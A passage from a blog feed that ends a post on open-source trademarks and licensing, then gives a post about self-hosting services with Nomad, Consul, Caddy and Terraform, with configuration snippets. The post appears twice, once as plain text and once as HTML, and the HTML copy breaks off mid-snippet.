    <p>Even when the open source project is licensed under permissive open source license, it doesn’t grant you to use it’s trademark for redistribution. For example you can’t simply fork mysql and sell it as mysql</p>
  </li>
  <li>
    <p>Open sourcing stuff without proper planning</p>

    <p>When you are open sourcing certain part of codebase, you must have a plan for what to do with the contributions, For instance when you release a component of your code base as open source and someone from community send a pull request and you merged to your repo, by default the person who contributed will have the copyright of the code, company can only use that code as per the license given in the repository. <a href="https://en.wikipedia.org/wiki/Contributor_License_Agreement">CLA</a> Can be used as a workaround for this</p>
  </li>
</ul>

<p>Do you have more examples? Feel free to comment below.</p>

<p>We covered the general IP concepts and it’s significanse in open source, I am not a lawyer and this blogpost is not a legal opinion. So talk to your lawyer before making legal decisons</p>]]></content:encoded>
            <author>Aboobacker M K</author>
        </item>
        <item>
            <title><![CDATA[Running Nomad for home server]]></title>
            <link>https://mrkaran.dev/posts/home-server-nomad/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/home-server-nomad/</guid>
            <pubDate>Sun, 14 Feb 2021 02:40:55 GMT</pubDate>
            <description><![CDATA[It’s been a long time since I’ve written a post on Hydra (my home server). I use Hydra as a testbed to learn new tools, workflows and it just gives me joy to self-host applications while learning something in return.
History#
A brief history of how Hydra’s setup evolved over time:
2019:
A pretty minimal K3s setup deployed on 2 RPi4 nodes. I couldn’t continue with this setup because:

Some of the apps didn’t have ARM-based image (this was 2019, pre M1 hype era).
Didn’t want to risk deploying persistent workloads on RPi.
A lot of tooling to deploy workloads was missing (storing env variables for eg.).
It was so boring to write YAML (that I also did at work). Didn’t give me joy.
2020 First Half:
RPi 2x Nodes + K3s + DO Droplet. Tailscale for networking.

This was a considerable step up from the previous setup. I deployed a DO node and added Node Labels to deploy persistent workloads on DO Node only.
I used my own tooling Kubekutr + Kustomize which helped with version control of my configs.
Took quite a bit of time to onboard new services. Got lazy, didn’t host much apart from initial 3-4 applications.
Writing long YAMLs. No joy.
2020 Second Half:
Single node on DO. Terraform for deploying Docker containers.

I believe the third iteration nailed it for me. I kept the setup super simple, used Terraform for deploying workloads as Docker containers.
Used Terraform extensively for setting up the node, Cloudflare records, DO firewall rules.
Time to onboard new services reduced from a couple of hours to a few minutes. This was a huge win for me. I deployed around 10-15 new services to try it out on the server directly.
Writing HCL is actually a much better experience than YAML.
Why Nomad#

Around a month back, Kailash had asked about feedback on Nomad. We at Zerodha (India’s largest stock broker) are evaluating it to migrate our services to Nomad from Kubernetes (more on this later). It was almost 2 years since I last saw Nomad so it was definitely worth re-evaluating (esp since it hit 1.0 recently). I wanted to try out Nomad to answer a personal curiosity: What does it do differently than Kubernetes? No better way than actually getting hands dirty, right?!
After following the brief tutorials from the official website I felt confident to try it for actual workloads. In my previous setup, I was hosting quite a few applications (Pihole, Gitea, Grafana etc) and thought it’ll be a nice way to learn how Nomad works by deploying the same services in the Nomad cluster. And I came in with zero expectations, I already had a nice setup which was reliable and running for me. My experience with a local Nomad cluster was joyful, I was able to quickly go from 0->1 in less than 30 minutes. This BTW is a strong sign of how easy Nomad is to get started with as compared to K8s. The sheer amount of different concepts you’ve to register in your mind before you can even deploy a single container in a K8s cluster is bizarre. Nomad takes the easy way out here and simplified the concepts for developers into just three things:
job
  \_ group
        \_ task
Job: Job is a collection of different groups. Job is where the constraints for type of scheduler, update strategies and ACL is placed.
Group: Group is a collection of different tasks. A group is always executed on the same Nomad client node. You’ll want to use Groups for use-cases like a logging sidecar, reverse proxies etc.
Task: Atomic unit of work. A task in Nomad can be running a container/binary/Java VM etc, defining the mount points, env variables, ports to be exposed etc.
If you’re coming from K8s you can think of Task as a Pod and Group as a Replicaset. There’s no equivalent to Job in K8s. BUT! The coolest part? You don’t have to familiarise yourself with all different types of Replicasets (Deployments, Daemonsets, Statefulsets) and different ways of configuring them.
Want to make a normal job as a periodic job in Nomad? Simply add the following block to your existing Job:
periodic {
  cron = "@daily"
}
You want to make a service run as a batch job (on all Nomad nodes – the equivalent of Daemonset in K8s)? Simply make the following change to your existing job:
-type="service"
+type="batch"
You see this is what I mean by the focus on UX. There are many many such examples which will leave a nice smile on your face if you’re coming from K8s background.
I’d recommend reading Internal Architecture of Nomad if you want to understand this in-depth.
Architecture#
Tech stack for Hydra:
Tailscale VPN: Serves as a mesh layer between my laptop/mobile and DO server. Useful for exposing internal services.
Caddy for reverse proxying and automatic SSL setup for all services. I run 2 instances of Caddy:

Internal: Listens on Tailscale Network Interface. Reverse proxies all private services.
Public: Listens on DO’s Public IPv4 network interface. Reverse proxies all public-facing services.
Terraform: Primary component to have IaC (Infra as Code). Modules to manage:

Cloudflare DNS Zone and Records
DO Droplet, Firewall rules, SSH Keys, Floating IPs etc.
Nomad Jobs. Used for running workloads after templating env variables, config files in Nomad job files.
Complexity of Nomad vs Kubernetes#

Nomad shines because it follows the UNIX philosophy of “Make each program do one thing well”. To put simply, Nomad is just a workload orchestrator. It only is concerned about things like Bin Packing, scheduling decisions.
If you’re running heterogeneous workloads, running a server (or a set of servers) quickly becomes expensive. Hence orchestrators tend to make sense in this context. They tend to save costs by making it efficient to run a vast variety of workloads. This is all an orchestrator has to do really.
Nomad doesn’t interfere in your DNS setup, Service Discovery, secrets management mechanisms and pretty much anything else. If you read some of the posts at Kubernetes Failure Stories, the most common reason for outages is Networking (DNS, ndots etc). A lot of marketing around K8s never talks about these things.
I always maintain “Day 0 is easy, Day N is the real test of your skills”. Anyone can deploy a workload to a K8s cluster, it’s always the Day N operations which involve debugging networking drops, mysterious container restarts, proper resource allocations and other such complex issues that require real skills and effort. It’s not as easy as kubectl apply -f and my primary gripe is with people who miss out on this in their “marketing” pitches (obvious!).
When to use Nomad#
Nomad hits the sweet spot of being operationally easy and functional. Nomad is a great choice if you want to:
Run not just containers but other forms of workloads.
Increase developer productivity by making it easier to deploy/onboard new services.
Consistent experience of deployment by testing the deployments locally.
(Not joking) You are tired of running Helm charts or writing large YAML manifests. The config syntax for Nomad jobs is human friendly and easy to grasp.
Nomad is available as a single binary. If you want to try it locally, all you need is sudo nomad agent -dev and you’ll have a Nomad Server, Client running in dev mode along with a UI. This makes it easy for the developers to test out the deployments locally because there’s very little configuration difference between this and production deployment. Not to forget it’s super easy to self-host Nomad clusters. I’m yet to meet anyone who self hosts K8s clusters in production without a dedicated team babysitting it always.
Once you eliminate the “blackbox” components from your stack, life becomes easier for everyone.
When to not use Nomad#
If you’re relying on custom controllers and operators. Operator Pattern is a new way of managing large complex distributed systems (like databases, job queues etc). There are a lot of community built operators which help in reducing the effort to run these services. However, all of these are tied deeply into the “Kubernetes” ecosystem. If you find yourself running any of such operators, it’ll be tough (not impossible) to translate the same in Nomad ecosystem.
I genuinely cannot think of any other reason to not use Nomad!
Practical Scenarios#
Since I migrated a couple of workloads from my DO docker containers setup to Nomad, I’d demonstrate a few use cases which might be helpful if you want to start migrating your services to Nomad
Accessing a Web service with Reverse Proxy#
Context: I’m running Caddy as a reverse proxy for all the services. Since we discussed earlier, Nomad only is concerned about scheduling, so how exactly do you do Service Discovery? You need Consul (or something like Consul, Nomad has no hard restrictions) to register a service name with it’s IP Address. Here’s how you can do that:
In the .task section of your Nomad job spec, you need to register the service name with the port you’re registering and additional tags as metadata (optional):
service {
  name = "gitea-web"
  tags = ["gitea", "web"]
  port = "http"
}
Nomad’s template uses consul-template behind the scenes. This is a small utility which continuously watches for Consul/Vault keys and provides the ability to reload/restart your workloads if any of those keys change. It can also be used to discover the address of the service registered in Consul. So here’s an example of Caddyfile using Consul Template functions to pull the IP address of the upstream gitea-web service:
git.mrkaran.dev {
    {{ range service "gitea-web" }}
    reverse_proxy {{ .Address }}:{{ .Port }}
    {{ end }}
}
When a job is submitted to Nomad, a rendered template is mounted inside the container. You can define actions on what to do when the values change. For eg on a redeployment of Gitea container, the address will most likely change. We’d like Caddy to automatically restart with the new address configured in the Caddyfile in that case:
template {
  data = <<EOF
${caddyfile_public}
EOF

  destination = "configs/Caddyfile" # Rendered template.

  change_mode = "restart"
}
Using change_mode we can either send a signal or restart the task altogether.
Binding to different network interfaces#
I run a public instance of Gitea but I wanted to restrict the SSH access only to my Tailscale network. Nomad has an interesting feature host_network which lets you bind different ports of a task on different network interfaces.
network {
  port "http" {
    to = 3000
  }

  port "ssh" {
    to = 22

    # Need a static assignment for SSH ops.
    static = 4222

    # SSH port on the host only exposed to Tailscale IP.
    host_network = "tailscale"
  }
}
Templating Env Variables#
NOTE: This is not recommended for production.
Nomad doesn’t have any templating functionalities, so all the config must be sourced from Consul and secrets should be sourced from Vault. However in the time constraint I had, I wanted to understand Nomad and Consul better and use Vault at a later stage. I needed a way to interpolate the env variables. This is where Terraform comes into picture:
resource "nomad_job" "app" {
  jobspec = templatefile("${path.module}/conf/shynet.nomad", {
    shynet_django_secret_key   = var.shynet_django_secret_key,
    shynet_postgresql_password = var.shynet_postgresql_password
  })
  hcl2 {
    enabled = true
  }
}
We can pass the variables from Terraform (which can be sourced by TF_VAR_ in your local env) to the Nomad job spec. Inside the job spec we can use env to make it available to our task:
env {
  DB_PASSWORD              = "${shynet_postgresql_password}"
  DJANGO_SECRET_KEY        = "${shynet_django_secret_key}"
}
Running a backup job on the host#
I use restic to take periodic backups of my server and upload to Backblaze B2. Since Nomad supports running tasks as a different isolated environment (chroot) using exec driver and even without isolation using raw_exec driver, I wanted to give that a try. I’ve to resort using raw_exec driver here because /data file path on my host was not available to the chroot’ed environment.
job "restic" {
  datacenters = ["hydra"]
  type        = "batch"

  periodic {
    cron             = "0 3 * * *"
    time_zone        = "Asia/Kolkata"
    prohibit_overlap = true
  }
  ...
  task "backup" {
	  driver = "raw_exec"

	  config {
		# Since `/data` is owned by `root`, restic needs to be spawned as `root`. 

		# `raw_exec` spawns the process with which `nomad` client is running (`root` i.e.).
		command = "$${NOMAD_TASK_DIR}/restic_backup.sh"
	  }
  }
  ...
}
You can follow the rest of the config here.
Scope of Improvements#
Nomad has been an absolute joy to work with. However, I’ve spotted a few rough edge cases which I believe one should be aware of:
host_network property sometimes gets ignored when doing a modification to service. I’ve opened an issue upstream but looks like other people are facing similar behaviours here and here.
host_network as of present cannot bind to a floating IP address (DigitalOcean/GCP etc). I’ve to resort to using my droplet’s public IPv4 address for now.
I tried using Consul Connect (service mesh with mTLS) but looks like again because of host_network, I’m unable to use it.
Nomad CLI can definitely be improved for a much more consistent experience. I particularly missed using kubectl when using nomad.
That apart, I ended up sending a PR to upstream addressing a CLI arg ordering issue.
Gotchas:#
On a Nomad server already bootstrapped, if you try changing server.bind_addr, it won’t have any effect. I almost pulled my hair debugging this, ultimately deleting the data_dir of the server resolved the issue for me.
I’m running DB and the App together as a single “group” in my setup configs. Don’t do this in production. Whenever you restart the job, the group will restart both the containers. The side effect of this is pretty interesting: Since we use Consul to fetch the DB Host, the app may start before the DB boots up and registers its new address with Consul. I will fix the dependency in a future version but since I’m running fewer workloads and there are automatic retries, it’s okay enough for me to keep it like this.
Community#
Nomad’s community is pretty small compared to Kubernetes. However, the folks are super responsive on Gitter, Discourse and Github Issues. A few noteworthy mentions:
@the-maldridge helped me with my doubts in Gitter.
@tgross who is super responsive on Github issues and does an excellent job at housekeeping the issues.
@shantanugadgil who is also pretty active in the community.
Nomad’s ecosystem is still in its nascent stage and I believe there are a lot of contribution opportunities for folks interested in Golang, Ops, Distributed Systems to contribute to Nomad. The codebase of Nomad is approachable and there are quite a few key areas which can be contributed to:
Docs: More examples, practical use cases.
Nomad Job files: There are many helm charts available to follow best practices. Something similar in Nomad will definitely be interesting.
Nomad Gotchas: Since K8s is widely used and has a much larger adoption, it’s only natural that the failure stories of K8s are highlighted a lot. Nomad being a pretty smaller community, we need more debugging and “things that went wrong” reference materials. You learn more from failures than 101 setup guides :)
Final Thoughts#
I think I’m sold on Nomad. I’ve used Kubernetes in prod for 2 years but if you were to ask me to write a Deployment spec from scratch (without Googling/kubectl help) I won’t be able to. After writing Nomad configs, I just can’t think of the sheer amount of boilerplate that K8s requires to get an application running.
Nomad is also a simpler piece to keep in your tech stack. Sometimes it’s best to keep things simple when you don’t really achieve any benefits from the complexity.
Nomad offers less than Kubernetes and it’s a feature, not a bug.
Fin!
Discussions#
HackerNews
Lobster
Twitter]]></description>
            <content:encoded><![CDATA[<p>It’s been a long time since I’ve written a post on Hydra (my home server). I use Hydra as a testbed to learn new tools, workflows and it just gives me joy to self-host applications while learning something in return.</p>
<h2 id="history">History<a class="zola-anchor" href="#history" aria-label="Anchor link for: history">#</a></h2>
<p>A brief history of how <a rel="external" href="https://github.com/mr-karan/hydra">Hydra’s</a> setup evolved over time:</p>
<p><a rel="external" href="https://mrkaran.dev/posts/home-server-setup/">2019</a>:</p>
<ul>
<li>A pretty minimal K3s setup deployed on 2 RPi4 nodes. I couldn’t continue with this setup because:
<ul>
<li>Some of the apps didn’t have ARM-based image (this was 2019, pre M1 hype era).</li>
<li>Didn’t want to risk deploying persistent workloads on RPi.</li>
<li>A lot of tooling to deploy workloads was missing (storing env variables for eg.).</li>
<li>It was so boring to write YAML (that I also did at work). Didn’t give me joy.</li>
</ul>
</li>
</ul>
<p><a rel="external" href="https://mrkaran.dev/posts/home-server-updates/">2020 First Half</a>:</p>
<ul>
<li>RPi 2x Nodes + K3s + DO Droplet. Tailscale for networking.
<ul>
<li>This was a considerable step up from the previous setup. I deployed a DO node and added <a rel="external" href="https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/">Node Labels</a> to deploy persistent workloads on DO Node only.</li>
<li>I used my own tooling <a rel="external" href="https://github.com/mr-karan/kubekutr/">Kubekutr</a> + Kustomize which helped with version control of my configs.</li>
<li>Took quite a bit of time to onboard new services. Got lazy, didn’t host much apart from initial 3-4 applications.</li>
<li>Writing long YAMLs. No joy.</li>
</ul>
</li>
</ul>
<p>2020 Second Half:</p>
<ul>
<li>Single node on DO. Terraform for deploying Docker containers.
<ul>
<li>I believe the third iteration nailed it for me. I kept the setup super simple, used Terraform for deploying workloads as Docker containers.</li>
<li>Used Terraform extensively for setting up the node, Cloudflare records, DO firewall rules.</li>
<li>Time to onboard new services reduced from a couple of hours to a few minutes. This was a huge win for me. I deployed around 10-15 new services to try it out on the server directly.</li>
<li>Writing HCL is actually a much better experience than YAML.</li>
</ul>
</li>
</ul>
<h2 id="why-nomad">Why Nomad<a class="zola-anchor" href="#why-nomad" aria-label="Anchor link for: why-nomad">#</a></h2>
<p><img src="https://mrkaran.dev/images/nomad-hydra.png" alt="image" /></p>
<p>Around a month back, <a rel="external" href="https://nadh.in/">Kailash</a> had asked about feedback on <a rel="external" href="https://www.nomadproject.io/">Nomad</a>. We at <a rel="external" href="https://zerodha.com/">Zerodha</a> (India’s largest stock broker) are evaluating it to migrate our services to Nomad from Kubernetes (more on this later). It was almost 2 years since I last saw Nomad so it was definitely worth re-evaluating (esp since it hit 1.0 recently). I wanted to try out Nomad to answer a personal curiosity: <em>What does it do differently than Kubernetes?</em> No better way than actually getting hands dirty, right?!</p>
<p>After following the brief tutorials from the <a rel="external" href="https://learn.hashicorp.com/nomad">official website</a> I felt confident to try it for actual workloads. In my previous setup, I was hosting quite a few applications (Pihole, Gitea, Grafana etc) and thought it’ll be a nice way to learn how Nomad works by deploying the same services in the Nomad cluster. And I came in with zero expectations, I already had a nice setup which was reliable and running for me. My experience with a local Nomad cluster was joyful, I was able to quickly go from 0-&gt;1 in less than 30 minutes. This BTW is a strong sign of how easy Nomad is to get started with as compared to K8s. The sheer amount of different concepts you’ve to register in your mind before you can even deploy a single container in a K8s cluster is bizarre. Nomad takes the easy way out here and simplified the concepts for developers into just three things:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>job</span></span>
<span class="giallo-l"><span>  \_ group</span></span>
<span class="giallo-l"><span>        \_ task</span></span></code></pre>
<ul>
<li>Job: Job is a collection of different groups. Job is where the constraints for type of scheduler, update strategies and ACL is placed.</li>
<li>Group: Group is a collection of different tasks. A group is always executed on the same Nomad client node. You’ll want to use Groups for use-cases like a logging sidecar, reverse proxies etc.</li>
<li>Task: Atomic unit of work. A task in Nomad can be running a container/binary/Java VM etc, defining the mount points, env variables, ports to be exposed etc.</li>
</ul>
<p>If you’re coming from K8s you can think of Task as a Pod and Group as a Replicaset. There’s no equivalent to Job in K8s. BUT! The coolest part? You don’t have to familiarise yourself with all different types of Replicasets (Deployments, Daemonsets, Statefulsets) and different ways of configuring them.</p>
<p>Want to make a normal job as a periodic job in Nomad? Simply add the following block to your existing Job:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">periodic</span><span> {</span></span>
<span class="giallo-l"><span>  cron</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">@daily</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>You want to make a service run as a batch job (on all Nomad nodes – the equivalent of Daemonset in K8s)? Simply make the following change to your existing job:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="diff"><span class="giallo-l"><span style="color: light-dark(#B31D28, #FF938A);background-color: light-dark(#FFEEF0, #5D0F12);">-</span><span style="color: light-dark(#B31D28, #FF938A);background-color: light-dark(#FFEEF0, #5D0F12);">type=&quot;service&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);background-color: light-dark(#F0FFF4, #113417);">+</span><span style="color: light-dark(#22863A, #8DDB8C);background-color: light-dark(#F0FFF4, #113417);">type=&quot;batch&quot;</span></span></code></pre>
<p>You see <strong>this</strong> is what I mean by the focus on UX. There are many many such examples which will leave a nice smile on your face if you’re coming from K8s background.</p>
<p>I’d recommend reading <a rel="external" href="https://www.nomadproject.io/docs/internals/architecture">Internal Architecture</a> of Nomad if you want to understand this in-depth.</p>
<h2 id="architecture">Architecture<a class="zola-anchor" href="#architecture" aria-label="Anchor link for: architecture">#</a></h2>
<p>Tech stack for Hydra:</p>
<ul>
<li>Tailscale VPN: Serves as a mesh layer between my laptop/mobile and DO server. Useful for exposing internal services.</li>
<li>Caddy for reverse proxying and automatic SSL setup for all services. I run 2 instances of Caddy:
<ul>
<li>Internal: Listens on Tailscale Network Interface. Reverse proxies all private services.</li>
<li>Public: Listens on DO’s Public IPv4 network interface. Reverse proxies all public-facing services.</li>
</ul>
</li>
<li>Terraform: Primary component to have IaC (Infra as Code). Modules to manage:
<ul>
<li>Cloudflare DNS Zone and Records</li>
<li>DO Droplet, Firewall rules, SSH Keys, Floating IPs etc.</li>
<li>Nomad Jobs. Used for running workloads after templating env variables, config files in Nomad job files.</li>
</ul>
</li>
</ul>
<h2 id="complexity-of-nomad-vs-kubernetes">Complexity of Nomad vs Kubernetes<a class="zola-anchor" href="#complexity-of-nomad-vs-kubernetes" aria-label="Anchor link for: complexity-of-nomad-vs-kubernetes">#</a></h2>
<p><a rel="external" href="https://twitter.com/mrkaran_/status/1268762357355823104"><img src="https://mrkaran.dev/images/k8s-meme.jpeg" alt="image" /></a></p>
<p>Nomad shines because it follows the UNIX philosophy of “Make each program do one thing well”. To put simply, Nomad is <em>just</em> a workload orchestrator. It only is concerned about things like Bin Packing, scheduling decisions.</p>
<p>If you’re running heterogeneous workloads, running a server (or a set of servers) quickly becomes expensive. Hence orchestrators tend to make sense in this context. They tend to save costs by making it efficient to run a vast variety of workloads. This is all an orchestrator has to do really.</p>
<p>Nomad doesn’t interfere in your DNS setup, Service Discovery, secrets management mechanisms and pretty much anything else. If you read some of the posts at <a rel="external" href="https://k8s.af/">Kubernetes Failure Stories</a>, the most common reason for outages is Networking (DNS, ndots etc). A lot of marketing around K8s never talks about these things.</p>
<p>I always maintain “Day 0 is easy, Day N is the real test of your skills”. Anyone can deploy a workload to a K8s cluster, it’s always the Day N operations which involve debugging networking drops, mysterious container restarts, proper resource allocations and other such complex issues that require real skills <strong>and</strong> effort. It’s not as easy as <code>kubectl apply -f</code> and my primary gripe is with people who miss out on this in their “marketing” pitches (obvious!).</p>
<h2 id="when-to-use-nomad">When to use Nomad<a class="zola-anchor" href="#when-to-use-nomad" aria-label="Anchor link for: when-to-use-nomad">#</a></h2>
<p>Nomad hits the sweet spot of being operationally easy and functional. Nomad is a great choice if you want to:</p>
<ul>
<li>Run not just containers but other forms of workloads.</li>
<li>Increase developer productivity by making it easier to deploy/onboard new services.</li>
<li>Consistent experience of deployment by testing the deployments locally.</li>
<li>(Not joking) You are tired of running Helm charts or writing large YAML manifests. The config syntax for Nomad jobs is human friendly and easy to grasp.</li>
</ul>
<p>Nomad is available as a single binary. If you want to try it locally, all you need is <code>sudo nomad agent -dev</code> and you’ll have a Nomad Server, Client running in dev mode along with a UI. This makes it easy for the developers to test out the deployments locally because there’s very little configuration difference between this and production deployment. Not to forget it’s super easy to self-host Nomad clusters. I’m yet to meet anyone who self hosts K8s clusters in production without a dedicated team babysitting it always.</p>
<p>Once you eliminate the “blackbox” components from your stack, life becomes easier for everyone.</p>
<h2 id="when-to-not-use-nomad">When to not use Nomad<a class="zola-anchor" href="#when-to-not-use-nomad" aria-label="Anchor link for: when-to-not-use-nomad">#</a></h2>
<ul>
<li>If you’re relying on custom controllers and operators. <a rel="external" href="https://kubernetes.io/docs/concepts/extend-kubernetes/operator/">Operator Pattern</a> is a new way of managing large complex distributed systems (like databases, job queues etc). There are a lot of community built operators which help in reducing the effort to run these services. However, all of these are tied deeply into the “Kubernetes” ecosystem. If you find yourself running any of such operators, it’ll be tough (not impossible) to translate the same in Nomad ecosystem.</li>
</ul>
<p>I <em>genuinely</em> cannot think of any other reason to not use Nomad!</p>
<h2 id="practical-scenarios">Practical Scenarios<a class="zola-anchor" href="#practical-scenarios" aria-label="Anchor link for: practical-scenarios">#</a></h2>
<p>Since I migrated a couple of workloads from my DO docker containers setup to Nomad, I’d demonstrate a few use cases which might be helpful if you want to start migrating your services to Nomad</p>
<h3 id="accessing-a-web-service-with-reverse-proxy">Accessing a Web service with Reverse Proxy<a class="zola-anchor" href="#accessing-a-web-service-with-reverse-proxy" aria-label="Anchor link for: accessing-a-web-service-with-reverse-proxy">#</a></h3>
<p>Context: I’m running Caddy as a reverse proxy for all the services. Since we discussed earlier, Nomad <strong>only</strong> is concerned about scheduling, so how exactly do you do Service Discovery? You need Consul (or something like Consul, Nomad has no hard restrictions) to register a service name with it’s IP Address. Here’s how you can do that:</p>
<p>In the <code>.task</code> section of your Nomad job spec, you need to register the service name with the port you’re registering and additional tags as metadata (optional):</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">service</span><span> {</span></span>
<span class="giallo-l"><span>  name</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">gitea-web</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  tags</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">gitea</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">web</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>  port</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">http</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Nomad’s <a rel="external" href="https://www.nomadproject.io/docs/job-specification/template">template</a> uses <code>consul-template</code> behind the scenes. This is a small utility which continuously watches for Consul/Vault keys and provides the ability to reload/restart your workloads if any of those keys change. It can also be used to <em>discover</em> the address of the service registered in Consul. So here’s an example of <code>Caddyfile</code> using Consul Template functions to pull the IP address of the upstream <code>gitea-web</code> service:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span>git</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span>mrkaran</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span>dev</span><span> {</span></span>
<span class="giallo-l"><span>    {</span><span>{</span><span> range service </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">gitea-web</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> }</span><span>}</span></span>
<span class="giallo-l"><span>    reverse_proxy </span><span>{</span><span>{</span><span> .Address </span><span>}</span><span>}</span><span style="color: light-dark(#D73A49, #F47067);">:</span><span>{</span><span>{</span><span> .Port </span><span>}</span><span>}</span></span>
<span class="giallo-l"><span>    {</span><span>{</span><span> end </span><span>}</span><span>}</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>When a job is submitted to Nomad, a rendered template is mounted inside the container. You can define actions on what to do when the values change. For eg on a redeployment of Gitea container, the address will most likely change. We’d like Caddy to automatically restart with the new address configured in the Caddyfile in that case:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">template</span><span> {</span></span>
<span class="giallo-l"><span>  data</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;&lt;</span><span style="color: light-dark(#D73A49, #F47067);">EOF</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">${</span><span>caddyfile_public</span><span style="color: light-dark(#D73A49, #F47067);">}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">EOF</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>  destination</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">configs/Caddyfile</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> Rendered template.</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>  change_mode</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">restart</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Using <a rel="external" href="https://www.nomadproject.io/docs/job-specification/template#change_mode"><code>change_mode</code></a> we can either send a <code>signal</code> or restart the task altogether.</p>
<h3 id="binding-to-different-network-interfaces">Binding to different network interfaces<a class="zola-anchor" href="#binding-to-different-network-interfaces" aria-label="Anchor link for: binding-to-different-network-interfaces">#</a></h3>
<p>I run a public instance of Gitea but I wanted to restrict the SSH access only to my Tailscale network. Nomad has an interesting feature <a rel="external" href="https://www.nomadproject.io/docs/job-specification/network#host_network"><code>host_network</code></a> which lets you bind different ports of a task on different network interfaces.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">network</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;http&quot;</span><span> {</span></span>
<span class="giallo-l"><span>    to</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 3000</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;ssh&quot;</span><span> {</span></span>
<span class="giallo-l"><span>    to</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 22</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Need a static assignment for SSH ops.</span></span>
<span class="giallo-l"><span>    static</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 4222</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> SSH port on the host only exposed to Tailscale IP.</span></span>
<span class="giallo-l"><span>    host_network</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">tailscale</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  }</span></span>
